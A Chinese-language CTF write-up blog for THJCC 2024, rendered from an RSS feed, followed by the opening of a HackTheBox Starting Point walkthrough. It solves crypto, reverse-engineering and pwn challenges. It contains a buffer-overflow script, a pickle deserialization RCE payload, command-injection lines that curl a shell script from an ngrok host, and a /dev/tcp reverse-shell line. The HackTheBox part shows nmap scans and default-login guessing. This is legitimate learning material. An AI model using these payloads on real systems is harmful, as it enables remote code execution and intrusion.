&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;你好,我是博元妇产科蔡医师,近期我们正计画打造一批超强资安人才菁英,结果发生意外,这群小鬼居然绑架我,还差5000元就能逃离出他们魔掌 ,但我的银行号码被他们给加密了,这是加密后的银行号码TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg== ,你现在帮过我,我承诺送你蔡医师水洗T还有蔡医梳,并帮你培养一个 试管婴儿。

Author:OsGa
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;先 base64 解碼&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;MACVV{pPp.u4UrfTd3k.v0F.mP}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看起來有點像 FLAG&lt;/li&gt;
&lt;li&gt;但很明顯有偏差，但 {} 沒有被替換掉，可以想到 ROT&lt;/li&gt;
&lt;li&gt;試試看 &lt;a href=&quot;https://&quot; title=&quot;title&quot;&gt;cyberchef 的 ROT13 Brute Force&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Amount =  4: QEGZZ{tTt.y4YvjXh3o.z0J.qT}
Amount =  5: RFHAA{uUu.z4ZwkYi3p.a0K.rU}
Amount =  6: SGIBB{vVv.a4AxlZj3q.b0L.sV}
Amount =  7: THJCC{wWw.b4BymAk3r.c0M.tW}
Amount =  8: UIKDD{xXx.c4CznBl3s.d0N.uX}
Amount =  9: VJLEE{yYy.d4DaoCm3t.e0O.vY}
Amount = 10: WKMFF{zZz.e4EbpDn3u.f0P.wZ}
Amount = 11: XLNGG{aAa.f4FcqEo3v.g0Q.xA}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;在 7 的地方看到 FLAG 了!&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{wWw.b4BymAk3r.c0M.tW}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Baby RSA&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;我第一次寫RSA加密系統,它應該非常安全吧?
Author: Whale120


----------out.txt--------------

n=82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
e=3
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;其實我不太會 crypto 但這題解的人數太多我就是著解解看&lt;/li&gt;
&lt;li&gt;最後在網路找到 &lt;a href=&quot;https://blog.maple3142.net/2021/03/30/picoctf-2021-writeups/#mini-rsa&quot;&gt;maple&amp;#39;s blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;改一下數字再跑就可以了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import gmpy2

n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157

for k in range(10000000000):
    [r, exact] = gmpy2.iroot(c + n * k, 3)
    if exact:
        print(k)
        print(r)
        print(bytes.fromhex(hex(r)[2:]))
        print(r ** 3 - n)
        break

        
PS C:\Users\soar\Desktop\THJCC&amp;gt; python .\ano.py
0
10730390416708815983109252601170483548761139798721771578612051039742995577854304300261210493
b&amp;#39;THJCC{small_eeeee_can_be_pwned_easily}&amp;#39;
-82905415164584389498448026225415346938606018253321653430325812461733619692702740470358738729810269013826173397262578691991849856264290961085622875149472415789737539211916246613050686384669201430910403455748023510028548778210626948951846171525568106928624546974128471265617762361862575967770449057297547555782
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{small_eeeee_can_be_pwned_easily}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;《SSS.GRIDMAN》&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc 23.146.248.36 20000

I find this computer.It may have secret about GRIDMAN

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;del&gt;丟程式碼給 GPT 生出解密腳本&lt;/del&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import numpy as np

shares = [(274, 3183503957), (900, 3802401987), (180, 3147556947)] # 手動替換
x_values = [x for x, _ in shares]
y_values = [y for _, y in shares]

degree = len(shares) - 1
recovered_poly = np.polyfit(x_values, y_values, degree)

secret = int(recovered_poly[-1])

print(&amp;quot;Recovered Secret:&amp;quot;, secret)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;再把 secret 輸入回去就有 FLAG 了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;JPG^PNG=?&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;I use JPG ang PNG to xor.Can you try to decrypt the image?

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;題目給了 enc.txt 跟 server.py&lt;/li&gt;
&lt;li&gt;先觀察一下 server.py 怎麼實作的&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

KEY= open(&amp;quot;key.png&amp;quot;, &amp;quot;rb&amp;quot;).read()
FLAG = open(&amp;quot;flag.jpg&amp;quot;, &amp;quot;rb&amp;quot;).read()

key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]

enc = bytearray(xor(FLAG,key))

open(&amp;#39;enc.txt&amp;#39;, &amp;#39;wb&amp;#39;).write(enc)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以看到他拿了 key.png 的前 8 位來做 xor&lt;/li&gt;
&lt;li&gt;而 xor 可倒推 所以我們只要知道 key 就可以解回去了&lt;/li&gt;
&lt;li&gt;而每個檔案都有自己的 magic header 根據 &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_file_signatures&quot;&gt;這個&lt;/a&gt; 查表&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;89 50 4E 47 0D 0A 1A 0A
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;以上就是 png 一開始的東西 剛好是 key 的長度&lt;/li&gt;
&lt;li&gt;就可以寫個 python 解回去了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
enc = open(&amp;quot;enc.txt&amp;quot;, &amp;quot;rb&amp;quot;).read()

flag = bytearray(xor(enc, key))
open(&amp;#39;flag.jpg&amp;#39;, &amp;#39;wb&amp;#39;).write(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/HkEAu6nW0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Pwn&lt;/h2&gt;
&lt;h3&gt;NC&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc 172.104.114.9 30000
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;nc 上去 然後他要叫你回答 &lt;a href=&quot;https://youtu.be/dQw4w9WgXcQ&quot;&gt;這個&lt;/a&gt; 是誰上傳的&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Rick Astley
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;丟上去就有FLAG了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{N3veR_g0nn4_l37_You_dOwn!!!}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Ret2func&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Someone told me that gets is dangerous but WHY??

nc 172.104.114.9 30004
Author: Aukro
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void win() {
    system(&amp;quot;sh&amp;quot;);
}


int main() {
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    
    puts(&amp;quot;Do you want to be a VIP of Country Wahahabihal&amp;quot;);
    printf(&amp;quot;You would need %lld dollars if you want\n&amp;quot;,main);
    char choice [5];
    char username[32];
    scanf(&amp;quot;%5s&amp;quot;, choice);
	getchar();
    if(choice[0] == &amp;#39;y&amp;#39;){
        gets(username);
        puts(&amp;quot;Congratulation, you&amp;#39;re now the 1st VIP of Country Wahahabihal&amp;quot;);
    }
    else {
        exit(0);
    }
    return 0;

}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個 win function 直接讓你跳&lt;/li&gt;
&lt;li&gt;還使用 gets 做 input 所以可以 BOF&lt;/li&gt;
&lt;li&gt;所以去把 win 的位址找出來再蓋位置就好&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;我原本是蓋 0x28 個 A 但一直失敗卡了超久，最後暴力試到 segmentation fault 才蓋成功。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from pwn import *
import time

context.log_level = &amp;#39;debug&amp;#39;
r = remote(&amp;#39;23.146.248.36&amp;#39;, 30004)

r.sendlineafter(&amp;#39;you want&amp;#39;, &amp;#39;y&amp;#39;)
time.sleep(1)
addr = 0x40121e

r.sendline(b&amp;#39;A&amp;#39;*56 + p64(addr))
r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;h3&gt;Baby C&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;保證簡單,輸入密碼就好 :D
所以說我現在在聽什麼呢?
Author: Whale120
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;寫個腳本把 password 解回來就好&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
tar = 120
result = &amp;quot;&amp;quot;

for i in a:
    result += chr(i ^ tar)

print(result)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{&lt;a href=&quot;https://www.youtube.com/watch?v=3XCVM3G3pns%7D&quot;&gt;https://www.youtube.com/watch?v=3XCVM3G3pns}&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PYC REVERSE&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Strange file?Do you know what is .pyc

Author:Naup堇姬

------------msg.txt---------------
10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;要先把 .pyc 反編譯回去，我用 &lt;a href=&quot;https://github.com/zrax/pycdc&quot;&gt;pycdc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;soar@universe:/mnt/c/Users/soar/Downloads$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789


def xor2(flag):
    return flag ^ 487531


def xor3(flag):
    return flag ^ 784523


def xor4(flag):
    return flag ^ 642871


def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;寫個腳本解回去就好了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from Crypto.Util.number import long_to_bytes

enc_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

aaa = xor1(xor2(xor3(xor4(enc_flag))))

print(long_to_bytes(aaa))
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;⚾&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Are you a good Pitcher?
Author: FlyDragon
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;玩了一下，不管怎麼樣都會 homerun
&lt;img src=&quot;https://hackmd.io/_uploads/rJ05aR2-C.png&quot; alt=&quot;image&quot;&gt;&lt;/li&gt;
&lt;li&gt;往 miss 追一下，看到 會呼叫 flag&lt;/li&gt;
&lt;li&gt;那我們就直接把程式 patch 成呼叫 miss 就好了&lt;/li&gt;
&lt;li&gt;這裡我用 IDA 的 patch 直接 call&lt;/li&gt;
&lt;li&gt;我是直接 patch 上面的那個函式 XD&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/ryBIARnZR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;然後存回去執行&lt;/li&gt;
&lt;li&gt;選完就直接跑出 flag 了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;soar@universe:/mnt/c/Users/soar/Desktop/THJCC/rev$ ./game
===== Welcome to the baseball game! =====
Your opponent is Ohtani Shohei !
1
========== Baseball Court ==========

                 B▭
                 /  \
                /    \
               /      \
              /   P    \
             ▬        ▬
               ╲  ▬  ╱

========== Baseball Court ==========

Please choose the pitch you want to throw
(1) Fastball
(2) Curveball
(3) Slider
(4) Changeup
4
███╗   ███╗██╗███████╗███████╗
████╗ ████║██║██╔════╝██╔════╝
██╔████╔██║██║███████╗███████╗
██║╚██╔╝██║██║╚════██║╚════██║
██║ ╚═╝ ██║██║███████║███████║
╚═╝     ╚═╝╚═╝╚══════╝╚══════╝
Missed!! So u win :&amp;gt;
THJCC{u_8e@t_m3...}�
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{u_8e@t_m3...}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Insane&lt;/h2&gt;
&lt;h3&gt;🥒&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;某個人花費新台幣十萬元重金打造了個人檔案自製系統

讓所有人(包括他自己)可以在這個平台上展現(看似)完美的自我

但是製作網站的工程師不滿他的態度,製作網站時順手埋了漏洞

你可以找到漏洞,取得藏在服務器內的flag嗎?

http://23.146.248.36:10008

Author: pour33142GX
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以讓你上傳檔案，看起來就很不安全，看看他是怎麼實作的&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def profile():
    if request.method == &amp;quot;GET&amp;quot;: 
        u, d = parse(&amp;quot;example/adminExample.pickle&amp;quot;)
        return render_template(&amp;quot;admin.html&amp;quot;, user = u, des = d, fileHeader = &amp;quot;ExampleProfile&amp;quot;)
    elif request.method == &amp;quot;POST&amp;quot;:
        if &amp;#39;file&amp;#39; in request.files:
            file = request.files[&amp;#39;file&amp;#39;]
            if file.filename == &amp;#39;&amp;#39;: return &amp;quot;FAIL&amp;quot;
            else: 
                filename = f&amp;quot;uploads/{random.randint(1000000000, 9999999999)}.pickle&amp;quot;
                file.save(filename)
                with open(filename, &amp;quot;rb&amp;quot;) as f: item = pickle.load(f)
                return render_template(&amp;quot;admin.html&amp;quot;, user = item.user, des = item.description, fileHeader = &amp;quot;Your Profile&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以看到他拿了你傳的檔案直接做了 pickle.load 直接想到了反序列化，還沒擋任何東西，寫個 python 傳上去就可以 RCE 了&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;exploit&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Hint 有說 reverse shell 彈不回來可以用 curl 但我過了 10 分鐘他還是卡在那邊 XD，所以我自己寫個 sh 讓他下載執行讓他彈回來 :D&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Server&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from flask import Flask, send_file

app = Flask(__name__)

@app.route(&amp;#39;/download&amp;#39;)
def download_shell():
    filename = &amp;#39;shell.sh&amp;#39;
    return send_file(&amp;#39;./&amp;#39; + filename, as_attachment=True)

if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(debug=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/148.100.77.86/8888 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pickle
import base64
import os

command = &amp;#39;curl https://b33a-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh &amp;amp;&amp;amp; chmod +x /tmp/shell.sh&amp;#39;

#command = &amp;#39;bash /tmp/shell.sh&amp;#39;

class Exp:
    def __reduce__(self):
        return (__import__(&amp;#39;subprocess&amp;#39;).getoutput, (command,))


with open(&amp;#39;payload.pickle&amp;#39;, &amp;#39;wb&amp;#39;) as f:
    pickle.dump(Exp(), f)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/B1WaU8CW0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{yumwy_RCe_qr0f!13_p1ckl3_Ou0b}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;FFAM(Find Flag Automaticaliiy Machine)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;http://23.146.248.36:10000/

This is a machine developed by Naup. Compared with FFAM, it can automatically dig out flags. But he doesn&amp;#39;t have enough RAM... . You can try to buy some RAM!!

Warning:Please do not maliciously damage the chall.If you think your idea is correct but you can&amp;#39;t succeed, please open a ticket and I will check the status of the chall.

Author:Naup堇姬
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;del&gt;這題感覺是叫我們挖礦&lt;/del&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;簡單來講有 RAM 就可以做更多事，所以我們要想辦法買RAM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;來看看他怎麼買 RAM&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;if YourToKeNinShop!=JWTMODE.JWT_Naup() and (RAM&amp;gt;0 or RAM&amp;lt;0):
        
    flash(&amp;quot;You are not my MASTER!Bad hacker!&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;這邊是用 jwt 驗證身分的，原本用 &lt;a href=&quot;https://github.com/lmammino/jwt-cracker&quot;&gt;jwt-cracker&lt;/a&gt; 去爆但內存都不夠了還沒跑出來 (￣ ‘i ￣;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;網站一開始給了個 webshell 但長度只能小於五，還有一堆字都不能用，後來踹到 * 可以選到 &lt;code&gt;ASECRETKEY.txt&lt;/code&gt; 的檔名，而執行他可以 leak 出 key，我們就可以任意簽 &lt;a href=&quot;https://jwt.io/&quot;&gt;jwt&lt;/a&gt; 了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/BJU0K8CbC.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;p&gt;設完後不要重新整理，會被洗掉...被搞了五次才回去看了程式&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;至於搞錢了話，把另外兩個設負的先買，就有用不完的錢了!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;買完後就可以去 /shell 用比較沒限制的 shell 了!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;@app.route(&amp;quot;/exe&amp;quot;, methods=[&amp;quot;GET&amp;quot;, &amp;quot;POST&amp;quot;])
def exe():
    if session[&amp;quot;RAM&amp;quot;] &amp;lt;3:
        return redirect(&amp;quot;/FFAM&amp;quot;)
    data = request.json
    user_input = data.get(&amp;#39;userInput&amp;#39;)
   
    BLACKLIST=[ &amp;#39;;&amp;#39;, &amp;#39;&amp;gt;&amp;#39;,&amp;#39;|&amp;#39;, &amp;#39;&amp;amp;&amp;#39;, &amp;#39;&amp;lt;&amp;#39;, &amp;#39;\n&amp;#39;,&amp;#39;`&amp;#39;, &amp;#39;*&amp;#39;, &amp;#39;?&amp;#39;,&amp;#39;{&amp;#39; , &amp;#39;}&amp;#39;, &amp;#39;[&amp;#39;, &amp;#39;]&amp;#39;,&amp;#39;%&amp;#39;]
    for i in BLACKLIST:
        if i in user_input:
            return &amp;quot;You are not my MASTER.You don&amp;#39;t use this character.&amp;quot;
        
    cmd=&amp;quot;cat %s.txt&amp;quot;% (user_input)
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if result.returncode == 0:
        output = str(result.stdout)
        
        return output
    else:
        output = &amp;quot;Command failed with error code:&amp;quot;+str(result.returncode)
        return output
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;禁掉了一些危險東西，但還有 $() 能用&lt;/li&gt;
&lt;li&gt;所以像上題一樣我傳 sh 過去 開 reverseshell 就好了!&lt;/li&gt;
&lt;li&gt;喔對 這邊要分開給，因為有擋 &lt;code&gt;&amp;amp;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$(curl https://35c9-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh)
$(chmod +x /tmp/shell.sh)
$(bash /tmp/shell.sh)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SygvTUCZA.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;FLAG : THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://solarfish.me/blog/thjcc_2024_wp/&quot;&gt;https://solarfish.me/blog/thjcc_2024_wp/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>solarfish</dc:creator><pubDate>Sun, 28 Apr 2024 00:00:00 GMT</pubDate></item><item><title>HackTheBox Starting Point</title><link>https://solarfish.me/blog/hackthebox_starting_point/</link><guid isPermaLink="true">https://solarfish.me/blog/hackthebox_starting_point/</guid><description>大概有 %80 Starting Point 的靶機 writeup，還有這是超久以前打的，如果有東西有錯拜託來跟我講！</description><content:encoded>&lt;h2&gt;Meow (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;先 nmap 起手掃一遍&lt;/li&gt;
&lt;li&gt;可以觀察到有 port 23 (telnet)&lt;/li&gt;
&lt;li&gt;暴力試試看有的帳號 &lt;code&gt;admin&lt;/code&gt; &lt;code&gt;administrator&lt;/code&gt; &lt;code&gt;root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;到 &lt;code&gt;root&lt;/code&gt; 登入了 !&lt;/li&gt;
&lt;li&gt;Get FLAG!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Fawn (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣 nmap 起手&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;┌─[tusoaring@htb-rlw5fctiog]─[~]
└──╼ $nmap -Pn -sV -sC 10.129.7.163
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 21:32 CDT
Nmap scan report for 10.129.7.163
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.96
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看到有 FTP&lt;/li&gt;
&lt;li&gt;嘗試登入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;ftp 10.129.7.163
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;嘗試登入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;admin、adminastrator、root、anonymous
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;試到 anonymous 的時候成功&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;Name (10.129.7.163:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ls&lt;/code&gt; 後看到有 flag.txt&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用 get 這個指令下載&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;ftp&amp;gt; get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||42514|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |***********************************|    32       42.28 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (3.40 KiB/s)
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;回去電腦看就有了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;035db21c881520061c53e0536e44f815
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dancing (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣先 NMAP 起手&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.215.64 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:52 CDT
Nmap scan report for 10.129.215.64
Host is up (0.011s latency).
Not shown: 947 closed tcp ports (reset), 50 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-03T10:52:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 3h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
